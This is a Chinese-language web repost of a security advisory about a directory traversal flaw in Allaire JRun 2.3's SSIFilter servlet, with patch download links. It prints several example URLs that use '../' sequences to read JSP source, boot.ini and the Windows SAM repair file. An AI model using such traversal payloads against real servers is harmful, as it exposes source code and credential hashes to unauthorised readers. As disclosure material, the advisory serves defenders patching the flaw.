您的位置:首页网页设计JSP文摘 → Allaire JRUN 2.3 查看任意文件漏洞

Allaire JRUN 2.3 查看任意文件漏洞

时间:2004/11/7 3:40:00来源:本站整理作者:蓝点我要评论(0)

涉及程序:

JRUN

描述:

Allaire JRUN 2.3 查看任意文件漏洞


详细:

Allaire 的 JRUN 服务器 2.3上存在多重显示代码漏洞。该漏洞允许攻击者在 WEB 服务器上查看根目录下的任意文件的源代码。

JRun 2.3 使用 Java Servlets 解析各种各样类型的页面(例如:HTML, JSP等等)。基于rules.properties 和 servlets.properties 的文件设置,可能利用URL前缀"/servlet/"调用任何servlet。



它可能使用 Jrun 的 SSIFilter servlet 在目标系统上检索任意的文件。下列 2 个例子显示出能被用来检索任意的文件的 URLs :



http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../t

est.jsp



http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../.

./../../../../boot.ini



http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../.

./../../../../winnt/repair/sam._

http://jrun:8000/servlet/ssifilter/../../test.jsp

http://jrun:8000/servlet/ssifilter/../../../../../../../boot.ini



http://jrun:8000/servlet/ssifilter/../../../../../../../winnt/repair/sam._



注意:假设JRun在主机“ jrun ”上运行,端口8000。



受影响的系统:

Allaire JRun 2.3.x



解决方案:

下载并安装补丁:

Allaire patch jr233p_ASB00_28_29

http://download.allaire.com/jrun/jr233p_ASB00_28_29.zip

Windows 95/98/NT/2000 and Windows NT Alpha



Allaire patch jr233p_ASB00_28_29tar

http://download.allaire.com/jrun/jr233p_ASB00_28_29.tar.gz

UNIX/Linux patch - GNU gzip/tar




 

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 没有查询到任何记录。

最新文章 没有查询到任何记录。 JSP内置对象详解告诉大家什么是JSPJava 7的主要变化一个开发人员眼中的JSP技术下

人气排行 C++生成随机数—生成任意范围内的等概率随机apache tomcat的snoop servlet漏洞 IBM WebSphere Application Server 3.0.2 存BEA WebLogic 暴露源代码漏洞c++中new和delete的使用方法基于JSP的动态网站开发技术Java线程的深入探讨JSP多种web应用服务器导致JSP源码泄漏漏洞